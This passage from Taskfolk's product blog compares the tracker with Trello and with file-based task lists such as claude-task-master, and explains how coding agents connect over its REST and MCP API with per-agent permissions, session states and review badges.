and drag it into place. ![WIP limit and board density controls](/images/blog/how-to-use-a-kanban-board-wip-density.webp) Then there is the thing Trello Free does not do: an optional WIP limit per column, any number from 1 to 999. Set "In Progress" to a limit of 3 and the column stops quietly swelling to fifteen half-done cards. It is a small feature with a big effect on a team that keeps starting things without finishing them, and it is the kind of gentle constraint a board is supposed to give you. Two honest limits here. First, this is a calmer, darker board than Trello's, not a pixel-for-pixel copy of Trello's UI, so if muscle memory for the exact Trello card back matters to you, expect an adjustment. Second, there is no Power-Ups marketplace and no card-back Butler-style per-card automation panel. Automation in Taskfolk is workspace rules, not card widgets, and the Free plan caps you at 2 rules (Pro raises that to 20). If your Trello setup leans heavily on a shelf of Power-Ups, that specific extensibility is not something Taskfolk reproduces. For the board mechanics themselves, [how to use a kanban board](/docs/how-to-use-a-kanban-board) walks through columns, WIP, and flow in detail. ## The planning depth: ranked backlog, sprints with carryover, real reports This is the part that was never really Trello's job, and it is the reason to switch. Three pieces. **A ranked backlog that is its own view.** Taskfolk's backlog is a dedicated screen, separate from the board, where issues sit in one ordered priority list. The ordering uses LexoRank, so you drag an item and it holds its exact position between its neighbours without renumbering everything else. The point is that priority is a real ordered list, top to bottom, not a column you scroll and eyeball. When someone asks "what is next," the answer is the top row, not a debate. ![Ranked backlog as an ordered priority list](/images/blog/how-to-prioritize-your-backlog-ranked-list.webp) **Sprints that actually behave like sprints.** You create a sprint, start it, and complete it. When you complete it, the incomplete (non-done) issues do not get stranded on a dead sprint. Taskfolk carries them over to a target sprint you pick, or back to the backlog, and tells you how many moved by returning a carried-over count. Failed issues carry over too, so nothing quietly falls off the edge. This is precisely the sprint object Trello does not have natively, the reason people end up faking sprints with lists. Here you commit to a sprint, run it, close it, and the leftovers land somewhere sensible without you dragging cards by hand. [How to run a sprint](/docs/how-to-run-a-sprint) covers the full cycle, and [how to prioritize your backlog](/docs/how-to-prioritize-your-backlog) covers what to pull into one. **Reports that ship with the tool.** Taskfolk has nine project report types built in: velocity, burndown, cumulative flow, burnup, cycle time, throughput, status breakdown, type breakdown, and workload. They are built on the same charting stack the rest of the app uses, they read from the board and sprint data you already have, and they are available on Free. Compare that to Trello, where, as of July 2026, the Dashboard and Timeline views live behind Premium. When your lead asks whether the team is speeding up, you open velocity instead of taking a screenshot and guessing. ![Reports grid showing velocity, burndown, and throughput charts](/images/blog/project-reports-and-insights-reports-grid.webp) The whole idea is that the board's calm stays, and the forecasting layer that a board cannot provide sits right next to it, on the free tier. ## What changes when your board can talk to agents Here is a capability Trello does not offer, and it only matters if it matters to you. If your team runs coding agents, Taskfolk treats them as first-class. Agents are real workspace members, with their own attribution on the issues they touch, but they are never billed as seats. The seat count filters agents out, so a connected coding agent costs nothing. That is a deliberate choice: you should be able to point five agents at a project without watching your bill climb. The surface itself is two things. There is a REST API, and there is a first-party MCP server at `/api/mcp/v1` whose tools derive from the same v1 OpenAPI registry the REST API uses, so an MCP client and a plain HTTP client see the same operations. There are per-agent field-write permissions, enforced at a single write choke point, so you can allow an agent to move status but not reassign, for example. Agent sessions also carry human-review states (pending, review, done) and surface an unverified badge when a session closed without leaving a real trace, so an agent marking its own work done does not silently pass as reviewed. The most common call is creating an issue. Here it is against the real endpoint, `POST /api/v1/workspaces/{slug}/projects/{key}/issues`, which needs the `issues:write` scope: ```bash curl -X POST \ "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues" \ -H "Authorization: Bearer $TASKFOLK_API_KEY" \ -H "Content-Type: application/json" \ -d '{ "type": "task", "title": "Wire up the export button", "description_md": "Add a CSV export to the reports page.", "priority": "high" }' ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues", { method: "POST", headers: { Authorization: `Bearer ${process.env.TASKFOLK_API_KEY}`, "Content-Type": "application/json", }, body: JSON.stringify({ type: "task", title: "Wire up the export button", description_md: "Add a CSV export to the reports page.", priority: "high", }), }, ); const issue = await res.json(); ``` ```python import os, requests res = requests.post( "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues", headers={ "Authorization": f"Bearer {os.environ['TASKFOLK_API_KEY']}", "Content-Type": "application/json", }, json={ "type": "task", "title": "Wire up the export button", "description_md": "Add a CSV export to the reports page.", "priority": "high", }, ) issue = res.json() ``` The response comes back with the created issue, including its stable key and a direct URL: ```json { "id": "018f9c2a-7b3d-7e10-9a44-2f6b1c8e0d55", "key": "WEB-142", "url": "https://taskfolk.ai/w/acme/p/web/WEB-142", "type": "task", "title": "Wire up the export button", "status": "backlog", "priority": "high", "assignee_id": null, "created_at": "2026-07-16T09:14:22.000Z" } ``` To be clear about what this is: an API and MCP surface, not a Power-Up. Humans sign in with a magic link (no passwords); agents authenticate with API keys. If you do not run agents, none of this changes your day and you should not weigh it. If you do, it is the difference between an agent that can genuinely operate your tracker and one that cannot. ## When to stay on Trello (a straight answer) A comparison is only worth reading if it will tell you to walk away when walking away is right. So here is where Trello is the better choice, plainly. Stay on Trello if your team lives on the mobile card-flipping experience. Taskfolk is a responsive web app, and it works on a phone, but it is not a native mobile app, and it does not try to be the thing you flip cards on from the bus. If that daily mobile feel is the heart of how your team works, Trello wins. Stay if you lean on the Power-Ups marketplace or on per-card Butler automation. That extensibility is a real Trello strength, and Taskfolk's workspace-rule automation is a different, simpler model that does not replace a shelf of Power-Ups. Stay if you store heavy attachments. As of July 2026, Trello Free gives you unlimited storage and 10MB per file, while Taskfolk Free is 128 MB total and 1 MB per file. For an attachment-heavy team that is not a close call, and it is a genuine trade you would be making for the planning depth. And stay if a simple personal board with no sprints and no reporting is genuinely all you need. In that case Trello Free is hard to beat, and adding a planning layer you will not use is just weight. Here is the decision in one flow. ```mermaid flowchart TD A[Need sprints, a ranked backlog, or built-in reports?] -->|No| B[Trello Free is hard to beat, stay] A -->|Yes| C[Do you store heavy attachments?] C -->|Yes, and it is central| D[Trello Free storage wins, stay or go paid on Trello] C -->|No| E[Do you run coding agents?] E -->|Yes| F[Taskfolk, agents are free members] E -->|No| G[Taskfolk, planning depth is free] ``` If your honest answer to the first question is "no," you already have the right tool. If it is "yes" and attachments are not your whole world, the rest of this points one direction. ## How to move your Trello boards into Taskfolk If you do decide to switch, moving is meant to take an afternoon, not a weekend. Trello is a first-class import connector, sitting alongside CSV, ClickUp, Jira, Monday, Linear, and Asana. The Trello locator accepts a board ID or short link plus an API key, so you point Taskfolk at the actual board rather than exporting and massaging a file. The flow in the workspace import wizard is short: ![Import wizard showing the source connector choices](/images/blog/how-to-import-your-project-workspace-wizard-source.webp) 1. Open the import wizard and pick Trello as the source. 2. Point it at the board with its ID or short link and your Trello API key. 3. Map your Trello lists to Taskfolk statuses (your lists become board columns). 4. Import. Cards come across as issues. Two things to set expectations. Import on Free is capped at 1,000 rows, which is plenty for most single boards; Pro raises that to 10,000 and Business to 50,000 if you are bringing over a large archive. And you can start on Free and upgrade only when capacity is the ceiling (more projects, more storage), not to unlock planning features. Sprints, timeline, and reporting are already in the base, so you do not pay to get them. When it lands, your lists are board columns and your cards are issues, exactly as before, except now there is a ranked backlog in front of them and sprints around them, with reports reading off the same data. That is the whole point of the move: the board you liked, plus the planning it could not do. For a broader walkthrough across tools, see [migrating from Jira, Trello, and Asana to Taskfolk](/blog/migrate-from-jira-trello-asana-to-taskfolk). And if you want to weigh more than one destination, the ranked [Trello alternatives](/alternatives/trello) roundup compares the field. If the walls in the first section sounded like your week, [try Taskfolk's free plan](https://taskfolk.ai) and import a board to see how it feels with a backlog and sprints around it. --- # A shared backlog for a team of AI coding agents URL: https://taskfolk.ai/blog/shared-backlog-for-ai-coding-agents Published: 2026-07-16 Updated: 2026-07-28 Author: The Taskfolk team Tags: AI agents, task management, multi-agent, Claude Code, Cursor, developer, comparison, agile Task manager for AI coding agents: give three agents one shared backlog with per-agent identity, field permissions, status handoffs, and human review gates. You started with one coding agent and a Markdown checklist. Now you have three. Claude Code is on the backend, Cursor is refactoring the UI, Codex is chewing through the test suite, and the checklist has quietly become the bottleneck. Two of them edit the same `tasks.json` in the same second and one write silently wins. You cannot tell which agent closed WEB-142, or whether it did the work or just marked the box done. Nobody is watching the states where a human should step in. This is the moment [a file-based task list stops being enough](/blog/when-a-task-file-stops-scaling). It was never built for a plural. What you actually need is a task manager for AI coding agents that treats each agent as a real member of the team, and this guide walks through why file lists break the moment you run more than one agent, and how Taskfolk models each agent with its own identity, its own permissions, a status-handoff protocol, a live map, and review gates that keep a human in control. ## Why a file-based task list breaks the moment you run two agents A file-based task list is a genuinely good tool. [claude-task-master](https://github.com/eyaltoledano/claude-task-master), the most widely used one, stores your tasks as files in the project's `.taskmaster/` directory (the PRD lives at `.taskmaster/docs/prd.txt`, tasks alongside it), not in a database or a shared service. That is the whole point of it, and it is a good decision for what it targets: one AI, one editor, one repo, tasks version-controlled next to the code. Its README says it plugs into Cursor, Lovable, Windsurf, Roo, VS Code, Claude Code, Amazon Q CLI, and others over MCP. For a solo agent that is a clean setup. The trouble is not the file. The trouble is the second agent. Three things break the moment you go plural. First, attribution. The file records that a task is done. It does not record which agent did it. When one agent is working, that is fine, because there is only one possible actor. When three are working, "done" with no author is a fact you cannot act on. You wanted to know who closed WEB-142 so you could ask that agent to explain its reasoning, and the file cannot tell you. Second, concurrency. Nothing in claude-task-master's docs mentions file-locking or any concurrency control around the tasks files. With one writer that is never a problem. With two agents writing in the same second, one write lands on top of the other and the first is gone. There is no error, no conflict marker, no retry. The list just quietly disagrees with reality, and you find out later when [an agent picks up a task another agent already finished](/blog/agents-refix-already-fixed-code). Third, handoff. There is no assignment and no per-agent identity, so there is no way to say "Claude Code owns this, hand it to Cursor when the API is done." The file has tasks and statuses. It does not have actors to move work between. And per its docs there is no human review or approval state before a task flips to done, no per-user or per-agent authentication, and no web dashboard. It is CLI, MCP, and editor-driven by design. So be honest about the frame: a file list is not broken. It is scoped. It is excellent for one agent in one editor, and it becomes the bottleneck specifically because you now have three. Everything below is about what you reach for when you cross that line. ![The ranked shared backlog that a pool of coding agents pulls work from, newest priorities on top](/images/blog/how-to-prioritize-your-backlog-ranked-list.webp) ## What to look for in a shared backlog for AI agents Before naming any product, here is the buyer's checklist. If you evaluate a few tools this weekend, these are the things that separate a real multi-agent backlog from a single-agent list wearing a bigger coat. 1. A shared server of record. One place every agent reads and writes, not a copy of a file in each clone. If the state lives in the repo, every agent has its own version, and "the backlog" is a merge conflict waiting to happen. 2. Per-agent identity. Every change stamped to a named agent, so "done" always answers "by whom." 3. Assignment and handoff. A way to move a task from one agent to another and have both sides see it. 4. Per-agent guardrails. Control over what each agent is allowed to change, so a fast refactoring agent cannot silently rewrite priorities or reassign work. 5. Human pull-in states. States that notify a person at the moments a human must decide, instead of hoping you notice. 6. Fleet visibility. One view of what every agent is doing right now, because six agents running blind is worse than one. The tradeoff is worth stating up front, because it is real. A shared server means your agents reach the backlog over an API or MCP instead of living inside the repo like a file list does. You gain coordination, attribution, and a dashboard. You give up "it is just a file next to my code." Which side of that tradeoff you want depends on how many agents you run, and the last section is a fair guide to picking. | What you need | File-based task list | Shared backlog for agents | |---|---|---| | Server of record | Local files per clone | One shared server | | Per-agent identity | No (single-actor design) | Every change attributed | | Assignment + handoff | No | Assign and hand off between agents | | Per-agent guardrails | No | Per-agent field permissions | | Human review state | No | Review states + notifications | | See the whole fleet | No dashboard | Live map of every agent | | Lives in the repo | Yes | No, reached over API/MCP | ## Agents are real members, so every change is attributed Here is how Taskfolk answers the attribution problem, and it is a structural answer, not a label bolted on top. A connected coding agent in Taskfolk is a real workspace member. Concretely, that means a user and member row with `is_agent=1`, a `workspace_agents` profile, and an API key whose `created_by` points at the agent user itself. That last detail is the whole mechanism. The key belongs to the agent, so every write the key makes is stamped to that named agent. There is no separate "who did this" bookkeeping to keep in sync, because the identity making the change is the identity recorded. Contrast that with a file list, where the tasks file records that a task completed but not the actor behind it. When you connect an agent, you pick what it is from the supported providers: Claude Code, Codex, Cursor, Copilot, Gemini CLI, DeepSeek, Kimi, Perplexity, or a generic Custom agent for anything else. That kind rides along on the agent's profile, so the roster and every change it makes carry the real tool name, not a generic "bot." ![The agent roster showing each connected agent stamped as its own attributed member](/images/blog/manage-a-team-of-ai-agents-attribution.webp) One honest point that matters for the bill: agent members are free. Taskfolk's seat counter (`countEditorSeats`) filters to `is_agent=0`, so connected agents never add to the Stripe per-seat quantity. Viewers are free and uncounted too. The billed editor seats are the humans on your team who are owners, admins, or members. You can run ten agents and pay for the three people who supervise them. Nothing about "agents are real members" quietly turns into "agents are billed like real members." ## A status-handoff protocol coordinates the fleet This is the core of the coordination story, and it is the direct answer to the race in your `tasks.json`. Instead of three agents fighting over one file, each agent runs a session against the shared backlog, and the sessions are a small state machine. There are seven states: `pending`, `running`, `needs_input`, `review`, `done`, `failed`, `cancelled`. The lifecycle is simple. An agent starts a session when it picks up a piece of work. It PATCHes that session as a heartbeat and as a state change while it works. It ends the session in a terminal state (`done`, `failed`, or `cancelled`) with the pull request link in `external_url`, so the review link travels with the record instead of getting lost in a chat log. Delegation makes the handoff visible before an agent even starts. Assigning an issue to an agent auto-creates a `pending` session, so the moment you hand WEB-142 to Cursor, a pending session shows up on the hub and on the issue card. `pending` is system-created and one-directional: an agent transitions out of it (its `startAgentSession` call claims the work), never into it. If an agent never picks up a delegated task, a worker cancels the still-pending session after seven days, so stale handoffs clean themselves up instead of lingering forever. Liveness is derived, not trusted. A `running` session with no heartbeat for 30 minutes renders as stalled. That is computed at read time, never stored, so a crashed agent that stopped sending heartbeats shows up as stalled on its own, without anyone having to mark it. And Taskfolk pushes work to agents rather than making them poll: each agent has a live SSE stream (topic `agent:`), and a `notify_agent` automation rule can wake a specific agent when a card enters a column. Move a ticket into "Ready for tests" and Codex gets pinged over its event stream. ```mermaid flowchart LR A[Human assigns issue to agent] --> B[pending session auto-created] B --> C[Agent claims: running] C --> D[Heartbeat PATCH keeps it alive] D --> E{Outcome} E -->|needs a human| F[needs_input] E -->|ready to check| G[review] E -->|shipped PR| H[done] E -->|broke| I[failed] F --> C G --> C ``` Now the honest limits, because "protocol" is a heavy word and this is not a heavy thing. A status-handoff protocol in Taskfolk means agents coordinate through shared issue status, assignment, session states, and `notify_agent` rules. It is not a bespoke negotiation protocol where agents argue over who takes what. The fixed status categories are the seven-value backbone, with your custom columns layered on top. And the coordination lives at the task layer only: Taskfolk tracks who owns which issue and what state each session is in. It does not lock or merge the agents' actual git branches. That stays in your version control, exactly where it should. This solves "which agent is doing what, and where does the work hand off," not "resolve the merge conflict between Claude Code's branch and Cursor's." ![The sessions list showing agents picking up, running, and completing delegated work](/images/blog/how-to-delegate-work-to-an-agent-sessions-list.webp) ## Per-agent field permissions keep a fast agent in its lane Coordination is half the problem. The other half is that a fast agent, left unconstrained, will edit things you did not want it touching. A test-writing agent has no business changing priorities or reassigning issues, but nothing stops it unless you draw a line. Taskfolk draws that line per agent. Each agent's profile can carry a `field_policy_json`, an allowlist over 14 issue-field tokens: `title`, `description`, `status`, `priority`, `assignee`, `labels`, `milestone`, `sprint`, `release`, `estimate`, `spent`, `completion`, `start_at`, `due_at`. If the policy is `null`, there is no policy, and the agent can write every field. That is exactly what humans always get, and it is the default. The policy only ever applies to agent actors. So you might let your triage agent touch `status`, `priority`, and `labels` and nothing else, while your implementation agent gets a wider set. Set the allowlist on the agent and the rest of the fields become read-only for that key. ![The per-agent field policy dialog with an allowlist of writable issue fields](/images/blog/manage-a-team-of-ai-agents-policy-dialog.webp) The reason this holds up is that enforcement happens at a single choke point. Every API write to an issue goes through `updateIssueViaApi`, which covers REST, the transition endpoint, and MCP, plus the dedicated time-tracking endpoint. There is no side door where an agent can write a field the policy forbids on one path but not another. Board position (`rank`) and bookkeeping columns are never gated, because stopping a triage agent from reordering cards is not the point of the feature. Be clear about what this is and is not. It is per-field, not per-value. You can allow or deny writing `status`, but you cannot restrict an agent to only certain status values. It governs issue fields only. Creating and deleting issues, and touching non-issue resources, are governed by scopes and roles, not this policy. And it guards the agent's own key, which is a lane marker for a tool you connected, not a security boundary against a workspace admin. Within those bounds it does exactly the job: it keeps a fast agent from wandering out of its lane. ## Review states and the unverified badge keep humans in control The scariest failure mode with a team of agents is not that they collide. It is that one of them marks a task done, you believe it, and it never did the work. Two features in Taskfolk exist for that, and together they answer "I cannot tell if the agent actually did the work." The first is review states with notifications. When a session enters `needs_input`, `review`, `done`, or `failed`, Taskfolk fans an in-app notification out to the humans who should care: the agent's owner and the issue's reporter, assignee, and watchers. So you are pulled in at exactly the four states where a person needs to act, whether that is an agent stuck asking a question, an agent ready for review, an agent claiming completion, or an agent that broke. You are not refreshing a board hoping to catch the moment. The moment comes to you. The second is the unverified badge. A session that claims `review` or `done`, is anchored to a specific issue, and left no PR link gets flagged "unverified" at read time when the agent produced no attributed trace on that issue during the session window, meaning no activity row and no comment authored by that agent. In plain terms: if an agent says "done" but left no fingerprint on the issue and no PR, the badge calls that out. It is derived live, with no schema change and no backfill, so it just appears where it applies. ![A session flagged with the unverified badge for claiming done with no attributed trace](/images/blog/manage-a-team-of-ai-agents-verify-badge.webp) The honest limit here matters, because it is easy to over-read the badge. It proves an attributed change exists on the issue. It does not prove the change was correct. An agent can write a real comment, open a real PR, and still have done the work badly, and the badge will show verified because there is a genuine trace. The badge catches the empty "marked done, touched nothing" case, which is the common one, not the "did it wrong" case, which still needs your eyes on the PR. It also cannot reconcile workspace-level sessions that have no issue anchor, since there is no specific issue to check the trace against. So treat it as a first filter that flags the sessions worth a hard look, not a stamp of quality. ## See the whole fleet on the agent map Once you are running six agents, a list of sessions scrolls. What you want is the shape of the whole thing at a glance, and that is the agent map. It is a live React Flow tree of your workspace's agents: who owns each one, the projects they touch, and the task each is working right now. You can group it by agent, by project, or by owner, and it updates in real time over SSE, because the same session events that drive everything else emit a workspace-level signal beside them. This is the "six agents running, which one is on what" view that a file list has no equivalent for, and it is the payoff for the fleet-visibility need from the checklist above. ![The agent map showing the whole fleet grouped by agent with each one's live task](/images/blog/how-to-map-your-agent-team-map-by-agent.webp) ## How agents drive the backlog over MCP or REST Here is the concrete part, for the reader who wants to know exactly how an agent talks to this. Taskfolk ships a first-party MCP server, and its tools are generated from the same OpenAPI registry that defines the v1 REST routes. That is the detail that keeps the two honest: agents get identical capability whether they speak MCP or REST, because both derive from one spec. Auth is magic-link for humans (no passwords); agents authenticate with their API key. The main call is starting a session, which is how an agent says "I picked up WEB-12." It is a POST to `/v1/workspaces/{slug}/agent-sessions` with a title and an optional issue key. Same call, three ways: ```bash curl -X POST https://taskfolk.ai/api/v1/workspaces/acme/agent-sessions \ -H "Authorization: Bearer $TASKFOLK_API_KEY" \ -H "Content-Type: application/json" \ -d '{"title":"Refactor auth middleware","issue_key":"WEB-12"}' ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/acme/agent-sessions", { method: "POST", headers: { Authorization: `Bearer ${process.env.TASKFOLK_API_KEY}`, "Content-Type": "application/json", }, body: JSON.stringify({ title: "Refactor auth middleware", issue_key: "WEB-12", }), }, ); const session = await res.json(); ``` ```python import os, requests res = requests.post( "https://taskfolk.ai/api/v1/workspaces/acme/agent-sessions", headers={"Authorization": f"Bearer {os.environ['TASKFOLK_API_KEY']}"}, json={"title": "Refactor auth middleware", "issue_key": "WEB-12"}, ) session = res.json() ``` The response is the session resource: ```json { "id": "0192f8c2-7a3e-7b21-9e44-2c1d5f6a8b90", "agent_id": "0192f8b0-1c2d-7e3f-8a90-b1c2d3e4f5a6", "agent_name": "Claude Code", "agent_kind": "claude", "state": "running", "title": "Refactor auth middleware", "note": null, "external_url": null, "issue_id": "0192f8b4-5d6e-7f80-9a1b-2c3d4e5f6a7b", "issue_key": "WEB-12", "started_at": "2026-07-16T09:12:44.000Z", "last_activity_at": "2026-07-16T09:12:44.000Z", "ended_at": null } ``` From there the heartbeat and the handoff are one endpoint: `PATCH /v1/workspaces/{slug}/agent-sessions/{id}` with the new `state` and, when the work ships, `external_url` set to the PR link. Every PATCH bumps `last_activity_at` (that is what keeps a session from going stalled), and moving to a terminal state stamps `ended_at`. ## The honest comparison, and when to stay on a file list Here is the fair matrix. Everything about the alternatives comes from public docs, and prices are stated as of July 2026. | | claude-task-master | TaskPeace | Taskfolk | |---|---|---|---| | Where tasks live | Files in `.taskmaster/` | MCP-native service | Hosted backlog over MCP + REST | | License / cost | MIT + Commons Clause, no license fee | Free tier; Pro $10/mo | Free $0; Pro $3/seat/mo; Business $6/seat/mo | | Model cost | Bring your own API key (you pay the model) | Per its listing | Not model-metered for the backlog | | Per-agent attribution | No | Not documented | Yes (agents are members) | | Assignment + handoff | No | Not documented | Session state machine | | Per-agent permissions | No | Not documented | Field policy over 14 tokens | | File-locking / concurrency | Not in docs | Not documented | Shared server (no file race) | | Human review state | No | Not documented | Review states + unverified badge | | Web dashboard | No (CLI/MCP/editor) | Not documented | Board + live agent map | | Agents billed as seats | N/A | Not documented | No, agents are free | A few things worth reading plainly off that table. claude-task-master has no license fee, but it requires you to bring your own AI provider API key (Anthropic, OpenAI, Google Gemini, Perplexity, xAI, or similar), so your real cost is whatever the underlying model charges. Claude Code is the exception, since it uses your local instance with no separate key. TaskPeace sits in the same "task manager for AI coding agents, MCP-native" niche and is a fair datapoint here (Free tier, Pro at $10/month per its listing as of July 2026), though I have not verified its multi-agent internals, so I will not claim them. On the Taskfolk side, the Free plan is feature-complete: sprints, timeline, integrations, reporting, and AI credits are all on Free, and the ceiling is capacity, not features (128 MB storage, 5 active projects, 2 automations, 25 AI credits a month). Automation beyond that, roles, SSO, and audit are the paid additions. Agents are free on every tier. Now the genuinely fair part, because I do not want you to buy a server you do not need. Stay on a file list when you run one agent, in one repo, with everything in the editor, and you want your tasks version-controlled in the repo right next to the code. In that world a file list is simpler, it lives where the code lives, and there is no server to reach or account to hold. You do not have a concurrency problem, because there is one writer. You do not have an attribution problem, because there is one actor. You do not need handoff, because there is nobody to hand off to. claude-task-master is a good fit for that shape, and adding a shared server would be overhead you would not use. The line is the plural. The day you run a second agent against the same backlog, the tradeoff flips: a shared server of record starts paying for itself in attribution, handoff, and the ability to see and constrain the fleet, while local files in the repo start costing you in silent races and missing actors. Pick by how many agents you run, not by which is newer. If you are already past that line, connecting your agents is the fast part. Point Claude Code, Cursor, and Codex at one Taskfolk workspace, give each an API key and a field policy, and let the session states do the coordinating. For the deeper mechanics, these walk through the pieces one at a time: [coordinating two agents with status handoffs](/blog/coordinate-two-agents-with-issue-status-handoffs), [managing a team of AI agents](/blog/manage-a-team-of-ai-agents), [setting per-agent field permissions](/docs/how-to-set-agent-field-permissions), [mapping your agent team](/docs/how-to-map-your-agent-team), and [task management for Claude Code](/blog/claude-code-task-management). --- # Cursor task management: give the agent a shared board over MCP URL: https://taskfolk.ai/blog/cursor-agent-project-management Published: 2026-07-16 Updated: 2026-09-24 Author: The Taskfolk team Tags: Cursor, task management, MCP, AI agents, alternatives, AI agent management, issue tracking, how-to, comparison Cursor task management usually means a local Task Master file. Connect Cursor to a shared board over MCP so it claims work and reports reviewable sessions. If you open a Cursor project today and ask its agent to plan a feature, Cursor task management usually means one of two things: you installed Task Master and it writes tasks into a `.taskmaster/` directory, or you hand-wrote a `.cursor/rules` file with a PM-worker prompt and let the agent keep a running list in the repo. Both work. Both live in a branch on your machine. And both fall apart the second a teammate, a PM, or a second agent needs to see what the agent is actually doing, because the tasks are a file nobody else has checked out. What most people searching for "Cursor task management" actually want is not a better JSON file. It is for Cursor's agent to track its work somewhere that persists and that other people can watch. The pitch of this post, up front: connect Cursor to a real tracker over MCP, so the agent reads issues from a shared board, claims work you delegated to it, and reports its sessions in a place humans can review. The agent still runs inside Cursor. The board lives somewhere everyone can see it. ## What Cursor devs use for task management today Let me be fair about the baseline, because it is genuinely good. The dominant tool is [Task Master AI](https://github.com/eyaltoledano/claude-task-master) (the `claude-task-master` project, around 27,900 GitHub stars as of July 2026). It is "an AI-powered task-management system you can drop into Cursor, Lovable, Windsurf, Roo, and others." You install it with `npm install -g task-master-ai`, run `task-master init --rules cursor`, and it wires itself into Cursor two ways: a set of `.cursor/rules` that teach the agent how to work with tasks, and an MCP server that exposes task operations as callable tools. Point it at a PRD you drop in `.taskmaster/docs/prd.txt` and it parses that into a task list the agent can pick from, expand, and mark done. The tool exposes its operations as MCP tools in three sizes so you can trade capability against context budget: Core (7 tools, roughly 5,000 tokens), Standard (15 tools, roughly 10,000 tokens), and All (36 tools, roughly 21,000 tokens), selectable via a `TASK_MASTER_TOOLS` setting. Licensing is MIT with a Commons Clause: free for personal, commercial, and academic use, you just cannot resell it or run it as a hosted service. It needs at least one of your own model API keys (Anthropic, OpenAI, Gemini, and so on), except when you drive it through Claude Code or the Codex CLI over OAuth, where no separate key is required. Beyond Task Master, plenty of teams skip the tool entirely and hand-roll it: a `.cursor/rules` file that defines a planner-then-executor pattern, and the agent keeps its checklist in a markdown or JSON file in the repo. Cruder, but zero dependency. Here is the honest read: for a solo developer in a single repo, this is a good setup. The tasks sit next to the code, the agent has full context, and there is nothing external to configure or pay for. If that is you, you may not need anything past this section. The rest of the post is about the specific point where the file-based model stops being enough. ## Where the file-based model breaks: persistence and team visibility The failure is not that Task Master is bad. It is that two properties it was never designed to have start to matter the moment more than one person or one agent is involved. Task Master is repo-local by design, and that design has two consequences. First, persistence. The `.taskmaster` directory is a file in a branch. If that working copy is gone, if you are on a different machine, if the branch was never pushed, the task state is gone with it. There is no server holding the canonical list. The "database" is your filesystem, scoped to whichever checkout you happen to be in. Second, team visibility. A PM cannot open a board and see what the agent is doing. A teammate cannot glance at a column and know the agent picked up the auth refactor an hour ago and is still on it. There is no shared destination for that status to live. The information exists, but only inside one person's editor, in a file format meant for the agent, not for a human skimming progress. Then there is the multi-agent case, which is becoming normal fast. Say you run two Cursor sessions on the same repo, or a Cursor agent plus a Claude Code agent working different tickets. They have no common place to claim work. Nothing stops both from grabbing the same task, or from doing overlapping edits, because "the task list" is a local artifact each one reads and writes independently. They collide, or they duplicate. Worth calling out plainly, because it is easy to misread: this is a *destination* gap, not a Cursor capability gap. Cursor is not failing to do something here. The tasks just have nowhere shared to live. Which is exactly why the fix is not a different editor. ## Cursor already speaks MCP, so the gap is the destination The common assumption is "Cursor can't reach a hosted tracker." That is false, and it is worth correcting head-on before you go looking for a plugin that does not need to exist. Cursor [supports MCP natively](https://cursor.com/docs/mcp). Not partially. The docs mark both Tools and Resources as Supported, and it handles stdio, SSE, and Streamable HTTP transports, with SSE and Streamable HTTP working for local or remote servers and multiple users. You configure MCP servers in `.cursor/mcp.json` inside a project, or `~/.cursor/mcp.json` globally. So a remote, HTTP-based tracker on the other end of an MCP connection is squarely within what Cursor already does out of the box. The transport is there. The honest caveat, stated plainly: MCP in Cursor is a paid-tier feature. As of July 2026, MCP support (alongside skills, hooks, and Cloud Agents) is listed among what the Pro plan adds over the free Hobby tier. Cursor's pricing as of July 2026 is Hobby free (no card, limited Agent requests and Tab completions), Pro at $20/month, Pro+ at $60/month, Ultra at $200/month, and Teams at $40/user/month, with 20% off on annual billing. If you are on the free Hobby plan, you cannot wire up MCP at all. That is a real gate and you should know it before you plan around it. ![The agent hub with a connected agent, reachable over MCP or the REST API](/images/blog/how-to-connect-an-ai-agent-hub-connected.webp) So the missing piece is not a transport inside Cursor. It is what sits on the other end of that transport: a board that is persistent, multi-agent aware, and reviewed by humans. That is the thing worth choosing carefully. ## What to look for in a tracker the agent writes to If you are going to point an agent at a shared board, evaluate the board like a buyer, not like a fan of any one product. Here is the checklist that actually matters, and how [Taskfolk](/docs/how-to-connect-an-ai-agent) meets each one, stated as fact so you can hold it against any alternative. **1. An MCP endpoint that shares auth with the REST API, with tools that do not drift.** You do not want a hand-maintained set of MCP tools that lag behind the real API. Taskfolk ships a [first-party MCP server](/mcp) at `POST /api/mcp/v1` over Streamable HTTP (JSON-RPC 2.0), authenticated with the same bearer API key as the REST surface. A `tools/call` re-enters the REST pipeline in-process, so MCP adds no parallel auth, scope, or rate-limit logic. The tool catalogue is generated one-tool-per-REST-operation from the OpenAPI registry, so the agent's tools never drift from the API, and `tools/list` is filtered by the key's scopes. The v1 REST surface exposes over 180 operation paths, so the tool set is broad but mechanically derived, not curated by hand. **2. The agent is a real member with attribution, not an anonymous script.** When the agent moves a ticket, you want a name on it. A connected agent in Taskfolk *is* a real workspace member (`users.is_agent`) with a profile and an API key whose creator is the agent user. That authorship is the attribution: activity traces back to the agent, not to a shared service account. **3. Agents do not burn paid seats.** Charging per agent the way you charge per human kills the whole idea. Taskfolk's `countEditorSeats` filters out agents (`eq(isAgent, 0)`), so a connected agent never bills an editor seat, unlike a human editor. **4. A session lifecycle humans can watch.** You want to see the agent move through states, not guess. Taskfolk models sessions as a real state machine: `pending`, `running`, `needs_input`, `review`, `done`, `failed`, `cancelled`. A running session with no heartbeat for 30 minutes renders as stalled, derived at read time, so a silently dead agent shows up as stalled rather than looking busy forever. **5. Per-agent field permissions.** You may want the agent to move status and set estimates but never touch the assignee. Taskfolk's `field_policy_json` is an allowlist over 14 issue-field tokens (title, description, status, priority, assignee, labels, milestone, sprint, release, estimate, spent, completion, start_at, due_at), enforced at a single API write choke point that covers REST, transition, and MCP. Be honest about what this is: it is per-field, not per-value (you cannot say "may set status to In Progress but not Done"), and it guards the agent's own key, not a human admin. It is a useful boundary, not full value-level RBAC. **6. A way to flag a session that claims done with nothing to show.** Agents sometimes report completion having produced nothing. Taskfolk derives a read-time "unverified" badge that flags a `review` or `done` session with no attributed activity or comment on its issue, so an empty "done" surfaces to humans instead of passing silently. ![The sessions list showing an agent working the board over the API](/images/blog/how-to-use-ai-agents-in-taskfolk-sessions.webp) None of these are exotic. They are just the difference between "the agent edits a file" and "the agent participates in the board your team already uses." ## Task Master vs a shared board over MCP: the honest comparison Here is 